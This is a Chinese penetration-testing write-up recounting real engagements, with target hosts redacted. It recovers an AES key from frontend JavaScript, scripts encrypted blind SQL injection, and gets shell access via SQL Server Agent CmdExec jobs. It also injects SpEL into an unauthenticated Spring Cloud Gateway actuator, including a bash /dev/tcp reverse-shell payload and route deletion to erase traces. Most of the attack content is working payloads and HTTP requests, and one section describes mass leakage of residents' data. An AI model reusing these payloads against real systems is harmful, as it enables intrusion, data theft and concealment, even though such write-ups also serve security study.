文章总结: 本文分享两个实战案例。一是通过JS逆向分析硬编码数组恢复AES密钥,绕过前端验证与加密,利用SQLServer堆叠注入结合Agent作业CmdExec子系统绕过命令执行限制获取shell。二是利用SpringCloudGateway未授权访问actuator端点,创建恶意路由并在过滤器中注入SpEL表达式实现RCE与反弹shell。建议避免前端硬编码密钥、严格限制数据库权限并关闭非必要actuator端点。 综合评分: 85 文章分类: 渗透测试,实战经验,WEB安全,代码审计,逆向分析
最近的项目案例总结
原创
flowersboy flowersboy
hutututu
2026年7月6日 09:11 陕西
在小说阅读器读本章
去阅读
JS分析->SQL注入->system shell
成果:普通用户账密,存在SQL注入->sa权限
前端登录框有验证码校验,js分析搜索验证码
image-20260702201759677
验证码生成
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linecreateCode: function() { for (var e = "", t = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"), n = 0; n < 4; n++) { e += t[Math.floor(36 * Math.random())] } this.checkCode = e // ← 存入客户端变量}
验证码校验
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineif (this.picLyanzhengma.toUpperCase() == this.checkCode) { this.login = true; // ← 只是设置客户端标志 var i = saveGen(this); return (0, _co2.default)(i) // ← 然后才发请求}// 不匹配就弹"验证码不正确",刷新验证码this.$showMessage("验证码不正确
实际请求,请求体没有验证码,说明验证码只在前端,服务器根本无API接受
ounter(lineounter(lineounter(lineounter(linec.default.resetpost("/xxx/xxx/xxx", r, { resolveMsg: null, rejectMsg: null});
追踪加密调用链,最终找到三段核心代码
硬编码数组,xxx(数字)
ounter(lineounter(lineounter(lineounter(lineready: function() { o.default.mmType = "nginx", o.default.HWQMM = [51, 150, 231, 300, 565, 708, 721, ...]},
密钥派生函数
每个数字➗(索引+1)->ASCII码转字符->字符串
ounter(lineounter(lineounter(lineounter(lineounter(linet.GanShenMe = function(e) { return e.map(function(e, t) { return String.fromCharCode(e / (t + 1)) }).join("")}
我们就可以手动恢复密钥,最终我们可以拿到16字节AES密钥
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line0 51→ 51÷ 1 = 51→ '3'1 150→ 150÷ 2 = 75→ 'K'2 231→ 231÷ 3 = 77→ 'M'3 300→ 300÷ 4 = 75→ 'K'4 565→ 565÷ 5 = 113→ 'q'5 708→ 708÷ 6 = 118→ 'v'6 721→ 721÷ 7 = 103→ 'g'...
后用AES-ECB-PKCS7 加密,base64加密
代码中if语句看到路径/xx/xx||nginx||不包含127.0.0.1
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineif ("nginx" == l && -1 === n.indexOf("127.0.0.1")) { var v = f.default.enc.Utf8.parse((0, p.GanShenMe)(u.default.HWQMM)); if ("string" === typeof a) { var b = f.default.enc.Utf8.parse(a); a = f.default.AES.encrypt(b, v, { mode: f.default.mode.ECB, padding: f.default.pad.Pkcs7 }).toString() } else { var y = f.default.enc.Utf8.parse((0, c.default)(a)); a = f.default.AES.encrypt(y, v, { mode: f.default.mode.ECB, padding: f.default.pad.Pkcs7 }).toString() }}
直接python跑弱密码
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linefrom Crypto.Cipherimport AESimport base64import jsonimport requests
KEY = b 'xxxxxx'
def encrypt(plaintext_dict): """将任意JSON加密为请求体"""
plaintext = json.dumps(plaintext_dict)cipher = AES.new(KEY, AES.MODE_ECB)# PKCS7 填充pad = 16 - len(plaintext) % 16plaintext = plaintext.encode() + bytes([pad] * pad)return base64.b64encode(cipher.encrypt(plaintext)).decode()
# 直接登录body = encrypt({ "name": "xxxx", "password": "xxxx"})resp = requests.post( "https://xxxx/", data=body, headers={ "Content-Type": "text/plain;charset=UTF-8" }, verify=False)print(resp.text) # AES加密的响应, 同样用密钥解密即可拿到JWT
SQL盲注测试
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linedef test_condition(condition): body = encrypt({ "name": f"admin'; IF ({condition}) WAITFOR DELAY '0:0:2'--", "password": "test" }) start = time.time() requests.post(TARGET, data=body, ...) return (time.time() - start) > 2.0 # 延迟=条件成立
db_name = "" for pos in range(1, 30): for ascii_code in range(32, 127): if test_condition(f"ASCII(SUBSTRING(DB_NAME(),{pos},1))={ascii_code}"): db_name += chr(ascii_code) break
解密响应值
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linedef decrypt(b64_ciphertext): cipher = AES.new(KEY, AES.MODE_ECB) raw = base64.b64decode(b64_ciphertext) plaintext = cipher.decrypt(raw) # 去除 PKCS7 padding pad_len = plaintext[-1] return plaintext[:-pad_len].decode('utf-8')
丢AI写脚本,自动测注入
一些payload:
ounter(lineounter(lineIF ASCII(SUBSTRING(DB_NAME(),1,1))=65 WAITFOR DELAY '0:0:2'-- #提取数据库名第1个字符 'A' (ASCII 65)IF SYSTEM_USER='sa' WAITFOR DELAY '0:0:5'-- #验证SA权限
这次无法通过SQL注入获取shell的原因:
xp_cmdshell在服务器层面被禁用 (value=0)- 注册表写入、扩展存储过程注册等均被拦截
system shell
另一站点相同框架不同数据库
前端JS逆向 → AES密钥 “xxxx”
正常使用POC发包,响应包500
使用X-Forwarded-For: 127.0.0.1绕过IP白名单->200
访问查询接口,解密查询数据,发现数据是直接调用SQL后端
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line{ "data": { "tablename": "xxx", "condition": " xxx" }}
通过以上JS分析,丢AI编写POC脚本,读取出管理员账密和普通账密
堆叠注入
ounter(line; WAITFOR DELAY '00:00:05' -- #验证
写入数据
ounter(lineounter(lineSELECT * FROM t_user WHERE 1=1;SELECT SYSTEM_USER AS output INTO cmd_output;
接口再访问成功查询新表
启用xp_cmdshell尝试
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line-- 尝试启用xp_cmdshell (失败)EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
-- 尝试执行 (失败, 无延迟)EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1' -- 耗时0.57s (应该>5s)
-- 尝试绕过 (失败)DECLARE @c VARCHAR(8000);SET @c=CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+...;EXEC(@c);
-- 尝试sp_OACreate (失败)DECLARE @s INT;EXEC sp_OACreate 'WScript.Shell', @s OUT;
SQL Server Agent的子系统可以执行任意命令
验证
ounter(lineounter(lineounter(line-- 检查SQL Agent是否可用SELECT COUNT(*) FROM msdb.dbo.sysjobs;-- 返回: 5 ← Agent正在运行,有5个现有作业
作业创建
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line-- 创建Agent作业执行命令EXEC msdb.dbo.sp_add_job @job_name=N'pwn_test_job', @enabled=1;
EXEC msdb.dbo.sp_add_jobstep @job_name=N'pwn_test_job', @step_name=N'pwn_step', @subsystem=N'CmdExec', ← 关键: CmdExec子系统 @command=N'cmd /c echo AGENT_PWN > C:\windows\temp\agent_pwn.txt';
EXEC msdb.dbo.sp_add_jobserver @job_name=N'pwn_test_job';
-- 启动作业EXEC msdb.dbo.sp_start_job @job_name=N'pwn_test_job';
再次堆叠查询
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linePOST /xxx/xxx/xxx HTTP/1.1Host: xxxxContent-Type: text/plain;charset=UTF-8X-Forwarded-For: 127.0.0.1authorization: Bearer xxxxx...token: xxxxxcomponentdir: xxxxxCookie: loginId=xxxxx
{"aoteEncrypt":"AES","data":"<加密的创建作业+启动命令>"}
请求包解密
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line{ "data": { "tablename": "t_user", "condition": " 1=1; EXEC msdb.dbo.sp_add_job @job_name=N'pwn_test', @enabled=1; EXEC msdb.dbo.sp_add_jobstep @job_name=N'pwn_test', @step_name=N's', @subsystem=N'CmdExec', @command=N'cmd /c echo AGENT_PWN > C:\\windows\\temp\\agent_pwn.txt'; EXEC msdb.dbo.sp_add_jobserver @job_name=N'pwn_test'; EXEC msdb.dbo.sp_start_job @job_name=N'pwn_test'; -- " }}
成功执行,拿到内网入口点
SpringCloud Gateway绕过RCE
接口/actuator/gateway/routes返回所有网关路由列表,无需认证
image-20260703092747568
接口/actuator/gateway/globalfilters未鉴权、对外暴露
com.suchness.deeplearning.filter.AuthGlobalFilter@5e8ac0e1": 0->证明有统一鉴权过滤器,需要绕过
image-20260703092943452
AddResponseHeaderGatewayFilterFactory 中的 value 字段会被 Spring Expression Language (SpEL) 解析。
由于 /actuator/gateway/routes 提供了未授权创建路由的能力,攻击者可注入恶意 SpEL 表达式执行任意命令。
根据router规则创建路由
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linePOST /actuator/gateway/routes/spel-basic HTTP/1.1Host: xxxx:xxContent-Type: application/jsonContent-Length: 486
{ "id": "spel-basic", "predicates": [{ "name": "Path", "args": {"_genkey_0": "/deeplearning-yudiba/msg/basic/**"} }], "filters": [{ "name": "AddResponseHeader", "args": { "name": "X-Ok", "value": "#{'OK-'.concat(T(java.lang.System).getProperty('os.name')).concat('-').concat(T(java.lang.System).getProperty('user.name')).concat('-').concat(T(java.lang.System).getProperty('user.dir')).concat('-').concat(T(java.io.File).separator)}" } }], "uri": "lb://deeplearning-yudiba", "order": -100}
post访问接口/actuator/gateway/refresh刷新路由
ounter(lineounter(lineounter(lineounter(lineounter(linePOST /actuator/gateway/refresh HTTP/1.1Host: xxxx:xxContent-Type: application/jsonContent-Length: 0
get访问接口/deeplearning-yudiba/msg/basic/test触发路由
响应包404但是回显了:OK-Linux-root-/-/,说明成果执行
写反弹shell
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linePOST /actuator/gateway/routes/rev-shell HTTP/1.1Host: xxxx:xxContent-Type: application/json
{ "id": "rev-shell", "predicates": [{ "name": "Path", "args": {"_genkey_0": "/deeplearning-yudiba/msg/rev/**"} }], "filters": [{ "name": "AddResponseHeader", "args": { "name": "X-RS", "value": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/xxxx/xxxx 0>&1 & disown'}).waitFor().toString()}" } }], "uri": "lb://deeplearning-yudiba", "order": -100}
刷新->触发->vps接收到反弹shell->内网梭哈
痕迹清理:请求方式修改为DELETE,再刷新路由
未授权
前端泄露接口/invoice/swagger-ui.html
根据文档写参数发包,获取到用户信息,电子发票等
ounter(lineounter(lineounter(lineounter(lineounter(linePOST /invoice/ew/queryPayRecords HTTP/1.1Host: xxxx:xxContent-Type: application/json
{"xxx":"xxx","xxx":"xxx","xxx":{"xxx":xxx,"xxx":xxx}}
绕过前端校验
密码信息泄露,前端校验,服务器无校验,post提交即可登录
image-20260703103722570
基础漏洞都没修——>未授权漏洞更多,提权接口,填充参数,得到整个市的用户信息
通杀SQL
对正常登录请求包进行注入无回显点
前端请求包搜索loginadmin字段找到name不同类别
更换类别尝试SQL,注出数据库
ounter(lineounter(lineounter(lineounter(lineounter(linePOST /xxxx HTTP/1.1Host: xxxxContent-Type: application/json
{"xxxx":"前端name参数值","xxxx":"admin' AND 1=CONVERT(int, DB_NAME())--","xxxx":"xxxx"}
image-20260703110256467
拿到账密ID后,修改账户为ID值,可未授权回显用户信息
欢迎交流
image-20260706090621105
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:hutututu flowersboy flowersboy《最近的项目案例总结》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论